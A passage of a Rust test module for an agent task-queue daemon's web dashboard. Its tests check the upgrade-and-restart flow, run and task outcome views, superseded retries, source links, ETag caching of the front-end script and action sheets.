21539 let successor = idle_ui(&home);
21540 assert!(!successor.resume_after_handover(false));
21541 assert!(!successor.loop_view(None).running);
21542 }
21543
21544 #[tokio::test]
21545 async fn a_loop_the_operator_stopped_is_not_resumed() {
21546 let home = TempDir::new().expect("temp home");
21547 let ui = idle_ui(&home);
21548 ui.start_loop(None).expect("start");
21549 ui.stop_loop(None, false).expect("stop");
21550 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21551 assert!(!handed_over(&home, ui).await);
21552 }
21553
21554 #[test]
21555 fn only_an_explicit_one_requests_a_resume() {
21556 assert!(!resume_requested(None));
21557 assert!(!resume_requested(Some("0".into())));
21558 assert!(!resume_requested(Some("".into())));
21559 assert!(resume_requested(Some("1".into())));
21560 }
21561
21562 #[test]
21563 fn the_upgrade_button_arms_before_it_restarts_anything() {
21564 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
21567 assert!(APP_JS.contains("Replace the binary and restart?"));
21568 assert!(APP_JS.contains("function confirmed("));
21569 assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
21574 assert!(
21578 APP_JS.contains("Parking, then restarting"),
21579 "the button says what it is waiting for"
21580 );
21581 assert!(APP_JS.contains("if (!out.to)"));
21584 }
21585
21586 #[test]
21587 fn stopping_the_loop_arms_but_starting_does_not() {
21588 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
21591 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
21592 assert!(APP_JS.contains("confirmed(button, question)"));
21593 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
21596 assert!(APP_JS.contains("const label = btn.textContent;"));
21597 assert!(!APP_JS.contains("Neither direction is guarded"));
21598 }
21599
21600 #[test]
21601 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
21602 assert!(
21603 APP_JS.contains("state.health.version"),
21604 "the operator wants to know what is running even with nothing newer"
21605 );
21606 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
21607 }
21608
21609 #[test]
21610 fn the_upgrade_button_names_its_destination() {
21611 assert!(
21612 APP_JS.contains("`Update to ${update.to}`"),
21613 "pressing the button should not be a surprise about what it moves to"
21614 );
21615 }
21616
21617 #[test]
21618 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
21619 for stage in ["downloading", "replaced", "parking", "restarting"] {
21620 assert!(
21621 APP_JS.contains(&format!("\"{stage}\"")),
21622 "the phone must be able to tell {stage} apart from the others"
21623 );
21624 }
21625 assert!(APP_JS.contains(".waiting_on"));
21626 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
21631 assert!(APP_JS.contains("reconnects on its own"));
21632 }
21633
21634 #[test]
21635 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
21636 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
21637 ..APP_JS.find("function upgrade(").expect("upgrade")];
21638 assert!(!body.contains(
21639 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
21640 ));
21641 assert!(body.contains("renderUpgradeError();"));
21642 assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
21643 }
21644
21645 #[test]
21646 fn an_overdue_upgrade_eventually_asks_for_a_human() {
21647 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
21650 assert!(APP_JS.contains("function upgradeOverdue("));
21651 }
21652
21653 #[test]
21654 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
21655 assert!(
21656 APP_JS.contains("Updated to ${upgradeInfo.to"),
21657 "the operator who asked for the restart wants to know it worked"
21658 );
21659 }
21660
21661 #[test]
21662 fn an_error_is_visible_from_where_the_button_is() {
21663 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
21668 ..APP_CSS.find(".alert-text").expect(".alert-text")];
21669 assert!(
21670 alert.contains("position: fixed"),
21671 "an error about the thing under your thumb has to be visible from \
21672 where your thumb is: {alert}"
21673 );
21674 assert!(
21675 alert.contains("z-index: 25"),
21676 "above the dock (20) and the run-actions FAB (15), so neither \
21677 buries it: {alert}"
21678 );
21679 assert!(
21680 alert.contains("var(--tap)"),
21681 "and clear of the dock and the home indicator: {alert}"
21682 );
21683 assert!(
21686 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
21687 "the FAB's column stays free: {alert}"
21688 );
21689 }
21690
21691 #[tokio::test]
21692 async fn an_older_attempt_says_what_replaced_it() {
21693 let fx = Fixture::start().await;
21694 let q = fx.queue();
21695 let runs = fx.runs();
21696 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21697 write_run(&runs, first, RunStatus::Stalled);
21698 write_run(&runs, second, RunStatus::Blocked);
21699
21700 let mut t = Task::new(
21701 "one task".to_owned(),
21702 "do it".to_owned(),
21703 PathBuf::from("/repo"),
21704 Source::Human,
21705 );
21706 t.runs = vec![first.to_owned(), second.to_owned()];
21707 q.put(&mut t).expect("put");
21708
21709 let rows = fx.get("/api/runs").await.json();
21713 let by = |short: &str| -> Value {
21714 rows.as_array()
21715 .unwrap()
21716 .iter()
21717 .find(|r| r["short"] == short)
21718 .cloned()
21719 .unwrap_or(Value::Null)
21720 };
21721 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
21722 assert!(
21723 by("bbbb")["superseded_by"].is_null(),
21724 "the latest attempt is not superseded by anything"
21725 );
21726 assert!(APP_JS.contains("run.superseded_by"));
21728 assert!(APP_JS.contains("Superseded by"));
21729 }
21730
21731 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
21732 let mut t = Task::new(
21733 "one task".to_owned(),
21734 "do it".to_owned(),
21735 PathBuf::from("/repo"),
21736 Source::Human,
21737 );
21738 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
21739 t.status = status;
21740 t
21741 }
21742
21743 #[test]
21744 fn source_link_picks_the_page_that_filed_the_task() {
21745 let agent = |node: &str| Source::Agent {
21746 run: "20260904-014455-ab12".to_owned(),
21747 node: node.to_owned(),
21748 };
21749 let chat = source_link(&agent("chat")).expect("chat link");
21750 assert_eq!(chat.kind, "chat");
21751 assert_eq!(chat.id, "20260904-014455-ab12");
21752 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
21753 let run = source_link(&agent("implement")).expect("run link");
21754 assert_eq!(
21755 (run.kind, run.href.as_str()),
21756 ("run", "#/runs/20260904-014455-ab12")
21757 );
21758 assert_eq!(source_link(&Source::Human), None);
21759 assert_eq!(
21760 source_link(&Source::Issue {
21761 number: 3,
21762 repo: "o/r".to_owned()
21763 }),
21764 None
21765 );
21766 let odd = source_link(&Source::Agent {
21767 run: "a b/c".to_owned(),
21768 node: "chat".to_owned(),
21769 })
21770 .expect("link");
21771 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
21772 }
21773
21774 #[test]
21775 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
21776 assert!(
21777 !APP_JS.contains("src.node === \"chat\""),
21778 "inline href rule is back"
21779 );
21780 assert!(
21781 APP_JS.matches("sourceLinkOf(").count() >= 4,
21782 "helper must serve every page"
21783 );
21784 assert!(
21785 APP_JS.matches("openChatLink(").count() >= 3,
21786 "the run page still needs its explicit chat link"
21787 );
21788 assert!(
21789 !APP_JS.contains("const openChat = el("),
21790 "the Queue card duplicates its source label link again"
21791 );
21792 assert!(
21793 APP_JS.contains("metaKids.push(link ? el(\"a\""),
21794 "the task page must link a chat source label too"
21795 );
21796 }
21797
21798 #[test]
21799 fn task_ref_carries_the_source_link_for_a_chat_task() {
21800 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21801 t.source = Source::Agent {
21802 run: "20260904-014455-ab12".to_owned(),
21803 node: "chat".to_owned(),
21804 };
21805 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
21806 let v = serde_json::to_value(&out).expect("json");
21807 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
21808 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
21809 assert_eq!(v["source_label"], t.source.label());
21810
21811 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21812 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
21813 .expect("json");
21814 assert!(v["source_link"].is_null(), "{v}");
21815 }
21816
21817 #[test]
21818 fn task_view_serializes_source_link() {
21819 let mut t = Task::new(
21820 "t".to_owned(),
21821 "t".to_owned(),
21822 PathBuf::from("/repo"),
21823 Source::Agent {
21824 run: "20260901-000000-aaaa".to_owned(),
21825 node: "implement".to_owned(),
21826 },
21827 );
21828 t.runs.clear();
21829 let v = serde_json::to_value(TaskView::from(t)).expect("json");
21830 assert_eq!(v["source_link"]["kind"], "run", "{v}");
21831 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
21832 }
21833
21834 #[test]
21835 fn task_view_serializes_urgent_flag() {
21836 let mut t = Task::new(
21837 "t".to_owned(),
21838 "t".to_owned(),
21839 PathBuf::from("/repo"),
21840 Source::Human,
21841 );
21842 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
21843 assert_eq!(v["urgent"], false, "{v}");
21844 t.urgent = true;
21845 let v = serde_json::to_value(TaskView::from(t)).expect("json");
21846 assert_eq!(v["urgent"], true, "{v}");
21847 assert!(APP_JS.contains("task.urgent === true"));
21848 }
21849
21850 #[tokio::test]
21851 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
21852 let fx = Fixture::start().await;
21853 let runs = fx.runs();
21854 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21855 write_run(&runs, old, RunStatus::Blocked);
21856 write_run(&runs, new, RunStatus::Merged);
21857 let mut t = outcome_task(&[old, new], TaskStatus::Done);
21858 fx.queue().put(&mut t).expect("put");
21859
21860 let view = fx.get(&format!("/api/runs/{old}")).await.json();
21861 let task = &view["task"];
21862 assert_eq!(task["status"], "done");
21863 assert_eq!(task["is_latest"], false);
21864 assert_eq!(task["latest"]["short"], "bbbb");
21865 assert_eq!(task["finished_by"]["id"], new);
21866 assert_eq!(task["finished_by"]["outcome"], "merged");
21867 assert_eq!(task["closed_by_hand"], false);
21868 assert_eq!(view["status"], "blocked", "the run keeps its own status");
21869 assert!(APP_JS.contains("finished_by"));
21870 assert!(APP_JS.contains("superseded by run"));
21871 }
21872
21873 #[tokio::test]
21874 async fn the_latest_run_reports_a_held_task_without_a_successor() {
21875 let fx = Fixture::start().await;
21876 let runs = fx.runs();
21877 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21878 write_run(&runs, old, RunStatus::Stalled);
21879 write_run(&runs, new, RunStatus::Blocked);
21880 let mut t = outcome_task(&[old, new], TaskStatus::Held);
21881 fx.queue().put(&mut t).expect("put");
21882
21883 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
21884 assert_eq!(task["status"], "held");
21885 assert_eq!(task["is_latest"], true);
21886 assert!(task["latest"].is_null());
21887 assert!(task["finished_by"].is_null());
21888 assert_eq!(task["closed_by_hand"], false);
21889 }
21890
21891 #[tokio::test]
21892 async fn a_direct_run_has_no_task_outcome() {
21893 let fx = Fixture::start().await;
21894 let runs = fx.runs();
21895 let id = "20260901-000000-aaaa";
21896 write_run(&runs, id, RunStatus::Blocked);
21897 let view = fx.get(&format!("/api/runs/{id}")).await.json();
21898 assert!(view["task"].is_null());
21899 }
21900
21901 #[test]
21902 fn task_outcome_does_not_guess_a_finishing_run() {
21903 let a = "20260901-000000-aaaa";
21904 let b = "20260901-000000-bbbb";
21905 let c = "20260901-000000-cccc";
21906 let dir = tempfile::tempdir().expect("tempdir");
21907 write_run(dir.path(), a, RunStatus::Blocked);
21908 write_run(dir.path(), b, RunStatus::VerifiedNoop);
21909 let read = |id: &str| read_run(dir.path(), id).ok();
21911 let t = outcome_task(&[a, b, c], TaskStatus::Done);
21914 let out = task_outcome(&t, a, 3, read);
21915 assert!(out.finished_by.is_none());
21916 assert!(out.closed_by_hand);
21917 let latest = out.latest.expect("latest");
21918 assert_eq!(latest.id, c);
21919 assert_eq!(latest.status, None);
21920 assert_eq!(latest.outcome, "record unreadable");
21921
21922 write_run(dir.path(), c, RunStatus::Ready);
21924 let t = outcome_task(&[a, c], TaskStatus::Done);
21925 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
21926 assert_eq!(out.finished_by.expect("finisher").id, c);
21927 assert!(!out.closed_by_hand);
21928
21929 let t = outcome_task(&[a, b, a], TaskStatus::Held);
21931 assert!(task_outcome(&t, a, 3, read).is_latest);
21932 }
21933
21934 #[tokio::test]
21935 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
21936 let fx = Fixture::start().await;
21941 let q = fx.queue();
21942 let runs = fx.runs();
21943 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
21944 write_run(&runs, first, RunStatus::Blocked);
21945 write_run(&runs, second, RunStatus::Merged);
21946
21947 let mut t = Task::new(
21948 "one task".to_owned(),
21949 "do it".to_owned(),
21950 PathBuf::from("/repo"),
21951 Source::Human,
21952 );
21953 t.runs = vec![first.to_owned(), second.to_owned()];
21954 q.put(&mut t).expect("put");
21955
21956 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
21957 assert_eq!(earlier["superseded_by"], "dddd");
21958 assert_eq!(earlier["latest_attempt"]["id"], second);
21959 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
21960 assert_eq!(
21961 earlier["latest_attempt"]["resolved"], true,
21962 "the run that replaced it landed, so this one reads as settled"
21963 );
21964
21965 let later = fx.get(&format!("/api/runs/{second}")).await.json();
21966 assert!(
21967 later["superseded_by"].is_null(),
21968 "the latest attempt is not superseded by anything"
21969 );
21970 assert!(
21971 later["latest_attempt"].is_null(),
21972 "the latest attempt has no later attempt of its own"
21973 );
21974
21975 assert!(APP_JS.contains("run.latest_attempt"));
21982 assert!(APP_JS.contains("data-superseded"));
21983 assert!(APP_JS.contains("#/runs/${latest.id}"));
21984 }
21985
21986 #[tokio::test]
21987 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
21988 let fx = Fixture::start().await;
21994 let q = fx.queue();
21995 let runs = fx.runs();
21996 let (a, b, c) = (
21997 "20260901-000000-aaaa",
21998 "20260901-000000-bbbb",
21999 "20260901-000000-cccc",
22000 );
22001 write_run(&runs, a, RunStatus::Blocked);
22002 write_run(&runs, b, RunStatus::Blocked);
22003 write_run(&runs, c, RunStatus::Merged);
22004
22005 let mut t = Task::new(
22006 "retried twice".to_owned(),
22007 "do it".to_owned(),
22008 PathBuf::from("/repo"),
22009 Source::Human,
22010 );
22011 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
22012 q.put(&mut t).expect("put");
22013
22014 let view = fx.get(&format!("/api/runs/{a}")).await.json();
22015 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
22016 assert_eq!(
22017 view["latest_attempt"]["id"], c,
22018 "the chain's current head, not the intermediate Blocked retry"
22019 );
22020 assert_eq!(view["latest_attempt"]["resolved"], true);
22021
22022 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
22023 assert_eq!(mid["latest_attempt"]["id"], c);
22024 assert_eq!(mid["latest_attempt"]["resolved"], true);
22025 }
22026
22027 #[tokio::test]
22028 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
22029 let fx = Fixture::start().await;
22030 let q = fx.queue();
22031 let runs = fx.runs();
22032
22033 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
22036 write_run(&runs, still_blocked_a, RunStatus::Blocked);
22037 write_run(&runs, still_blocked_b, RunStatus::Blocked);
22038 let mut t1 = Task::new(
22039 "still stuck".to_owned(),
22040 "do it".to_owned(),
22041 PathBuf::from("/repo"),
22042 Source::Human,
22043 );
22044 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
22045 q.put(&mut t1).expect("put");
22046 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
22047 assert_eq!(view1["latest_attempt"]["resolved"], false);
22048 assert_eq!(view1["latest_attempt"]["status"], "blocked");
22049 assert_eq!(view1["latest_attempt"]["done"], true);
22050
22051 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
22053 write_run(&runs, run_a, RunStatus::Blocked);
22054 write_run(&runs, run_b, RunStatus::Implementing);
22055 let mut t3 = Task::new(
22056 "retrying".to_owned(),
22057 "do it".to_owned(),
22058 PathBuf::from("/repo"),
22059 Source::Human,
22060 );
22061 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
22062 q.put(&mut t3).expect("put");
22063 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
22064 assert_eq!(view3["latest_attempt"]["id"], run_b);
22065 assert_eq!(view3["latest_attempt"]["resolved"], false);
22066 assert_eq!(view3["latest_attempt"]["done"], false);
22067
22068 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
22073 write_run(&runs, noop_a, RunStatus::Blocked);
22074 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
22075 let mut t2 = Task::new(
22076 "claims done".to_owned(),
22077 "do it".to_owned(),
22078 PathBuf::from("/repo"),
22079 Source::Human,
22080 );
22081 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
22082 q.put(&mut t2).expect("put");
22083 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
22084 assert_eq!(
22085 view2["latest_attempt"]["resolved"], false,
22086 "an unverified no-op claim must not read as a confirmed finish"
22087 );
22088
22089 assert!(APP_JS.contains("latest.resolved"));
22092 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
22095 assert!(APP_JS.contains("Latest attempt: "));
22096 assert!(APP_JS.contains("in flight"));
22097 assert!(APP_JS.contains("not resolved"));
22098 }
22099
22100 #[tokio::test]
22101 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
22102 let fx = Fixture::start().await;
22103 let js = fx.get("/app.js").await;
22109 assert_eq!(js.status, 200);
22110 let tag = js
22111 .header("etag")
22112 .expect("an etag to revalidate against")
22113 .to_owned();
22114 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
22115 assert_eq!(
22116 js.header("cache-control"),
22117 Some("no-cache, must-revalidate"),
22118 "the phone has to ask every time"
22119 );
22120
22121 let again = fx
22124 .get_with("/app.js", &[("if-none-match", tag.as_str())])
22125 .await;
22126 assert_eq!(
22127 again.status, 304,
22128 "a deck it already has costs one round trip"
22129 );
22130 assert!(again.body.is_empty(), "304 carries no body");
22131
22132 let weak = fx
22135 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
22136 .await;
22137 assert_eq!(weak.status, 304);
22138 let stale = fx
22139 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
22140 .await;
22141 assert_eq!(stale.status, 200, "an older build must be replaced");
22142 assert!(stale.body.contains("renderRunActions"));
22143 }
22144
22145 #[test]
22146 fn the_task_detail_has_an_actions_fab_and_sheet() {
22147 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
22148 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
22149 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
22150 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
22152 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
22153 assert!(APP_JS.contains("renderTaskActions(task);"));
22155 assert!(APP_JS.contains("renderTaskActions(null);"));
22156 let sheet = APP_JS
22158 .find("function renderTaskActions")
22159 .expect("sheet renderer");
22160 let body = &APP_JS[sheet..sheet + 3000];
22161 assert!(body.contains("changePriority("));
22162 assert!(body.contains("openTaskEdit(task)"));
22163 assert!(body.contains("renderTaskHoldBox(host"));
22164 assert!(body.contains("renderTaskDoneBox(host"));
22165 assert!(body.contains("renderTaskDeleteBox(host"));
22166 assert!(APP_JS.contains("API.priority(id)"));
22167 assert!(APP_JS.contains("API.deleteTask(id)"));
22168 assert!(APP_JS.contains("location.hash = \"#/queue\""));
22170 assert!(APP_JS.contains("$(\"task-actions-error\")"));
22172 }
22173
22174 #[test]
22175 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
22176 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
22177 let actions = INDEX_HTML
22178 .find("id=\"run-actions-box\"")
22179 .expect("actions box");
22180 assert!(task < actions, "the task entry comes first in the sheet");
22181 assert!(APP_JS.contains("renderRunTaskEntry"));
22182 assert!(APP_JS.contains("\"Open task \""));
22183 assert!(APP_JS.contains("started directly, no task"));
22185 assert!(APP_JS.contains("sheet-task-link"));
22186 assert!(APP_JS.contains("task-chip-link"));
22187 }
22188
22189 #[test]
22190 fn the_deck_never_sends_the_operator_to_a_terminal() {
22191 assert!(
22194 !APP_JS.contains("Run `magi fold` first"),
22195 "the deck must offer the fold, not prescribe a shell command"
22196 );
22197 assert!(APP_JS.contains("foldRun:"));
22198 assert!(APP_JS.contains("resumeRun:"));
22199 assert!(APP_JS.contains("renderRunActions"));
22200
22201 assert!(APP_JS.contains("armedFold"));
22203 assert!(APP_JS.contains("Yes, fold worktrees"));
22204
22205 assert!(APP_JS.contains("can no longer be resumed"));
22208 }
22209
22210 #[test]
22211 fn a_finished_run_explains_itself_with_its_own_last_line() {
22212 assert!(
22218 !APP_JS.contains("collapsed on agent quota"),
22219 "a stall must not be explained by a cause the deck did not check"
22220 );
22221 assert!(
22222 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
22223 "and a block must not offer a guess with an `or` in it"
22224 );
22225
22226 assert!(
22230 APP_JS.contains("setText(r.event, run.event || \"\")"),
22231 "the run's last line is rendered unconditionally"
22232 );
22233 assert!(
22234 !APP_JS.contains("moving && run.event"),
22235 "and never gated on the run still moving"
22236 );
22237
22238 assert!(APP_JS.contains("lost to quota"));
22240 }
22241
22242 #[test]
22264 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
22265 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
22266 let shapes_body_start =
22267 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
22268 let shapes_close = APP_JS[shapes_body_start..]
22269 .find("].map(")
22270 .expect("the shape list is closed by its done-computing .map(...)")
22271 + shapes_body_start;
22272 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
22273
22274 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
22275 for entry in shapes_src.split('{').skip(1) {
22276 let waiting = entry.contains("waiting: true");
22277 let dead = entry.contains("live: \"dead\"");
22278 let status_at =
22279 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
22280 let status_end = entry[status_at..]
22281 .find('"')
22282 .expect("the status string is closed")
22283 + status_at;
22284 let parked = entry.contains("display_status: \"parked\"");
22285 shapes.push((
22286 waiting,
22287 entry[status_at..status_end].to_string(),
22288 dead,
22289 parked,
22290 ));
22291 }
22292 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
22293
22294 let done_rule_marker = "done: !";
22298 let done_rule_at = APP_JS[shapes_close..]
22299 .find(done_rule_marker)
22300 .expect("the done rule follows the shape list")
22301 + shapes_close
22302 + done_rule_marker.len();
22303 let includes_at = APP_JS[done_rule_at..]
22304 .find(".includes(shape.status)")
22305 .expect("the done rule ends in .includes(shape.status)")
22306 + done_rule_at;
22307 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
22308 .trim()
22309 .trim_start_matches('[')
22310 .trim_end_matches(']')
22311 .split(',')
22312 .map(|s| s.trim().trim_matches('"'))
22313 .filter(|s| !s.is_empty())
22314 .collect();
22315
22316 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
22317 .into_iter()
22318 .map(|(waiting, status, dead, parked)| {
22319 let done = !not_done.contains(&status.as_str());
22320 (waiting, status, dead, parked, done)
22321 })
22322 .collect();
22323
22324 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
22328 if waiting {
22329 return "waiting";
22330 }
22331 if dead
22332 && !parked
22333 && !matches!(
22334 status,
22335 "merged"
22336 | "ready"
22337 | "stalled"
22338 | "blocked"
22339 | "failed"
22340 | "verified_noop"
22341 | "superseded"
22342 | "already_in_base"
22343 )
22344 {
22345 return "stale";
22346 }
22347 match status {
22348 "merged" | "ready" => "landed",
22349 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
22350 | "already_in_base" => "ended",
22351 _ => "flight",
22352 }
22353 }
22354
22355 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
22358 match filter_key {
22359 "active" => !done,
22360 "flight" => !done && !waiting && !dead,
22361 "stale" => !done && !waiting && dead,
22362 "waiting" => waiting,
22363 "done" => done,
22364 "all" => true,
22365 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
22366 }
22367 }
22368
22369 let compatible = |section: &str, filter_key: &str| {
22370 shapes.iter().any(|(waiting, status, dead, parked, done)| {
22371 run_section(*waiting, status, *dead, *parked) == section
22372 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
22373 })
22374 };
22375
22376 let expected = [
22381 ("waiting", [true, false, false, true, true, true]),
22382 ("stale", [true, false, true, false, false, true]),
22383 ("flight", [true, true, false, false, false, true]),
22384 ("landed", [false, false, false, false, true, true]),
22385 ("ended", [false, false, false, false, true, true]),
22386 ];
22387 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
22388
22389 for (section, wants) in expected {
22390 for (filter_key, want) in filter_keys.iter().zip(wants) {
22391 assert_eq!(
22392 compatible(section, filter_key),
22393 want,
22394 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
22395 );
22396 }
22397 }
22398
22399 assert!(
22402 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
22403 );
22404 assert!(APP_JS.contains(
22405 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
22406 ));
22407 assert!(APP_JS.contains(
22408 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
22409 ));
22410 }
22411
22412 #[tokio::test]
22413 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
22414 let dir = tempfile::tempdir().expect("tempdir");
22418 let explicit = dir.path().join("not-a-checkout");
22419 std::fs::create_dir_all(&explicit).expect("create dir");
22420 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
22421
22422 let missing = dir.path().join("does-not-exist-at-all");
22423 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
22424 }
22425
22426 #[test]
22427 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
22428 assert!(APP_JS.contains("function statsDonutArcs"));
22429 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
22430 assert!(APP_JS.contains("function statusInBucket"));
22432 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
22433 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
22434 let buckets = [
22435 "merged",
22436 "ready",
22437 "in_progress",
22438 "blocked",
22439 "failed",
22440 "verified_noop",
22441 "superseded",
22442 "stalled",
22443 ];
22444 for key in buckets {
22445 let var = format!("--verdict-{key}:");
22446 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
22448 assert!(
22449 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
22450 "{key}"
22451 );
22452 }
22453 }
22454}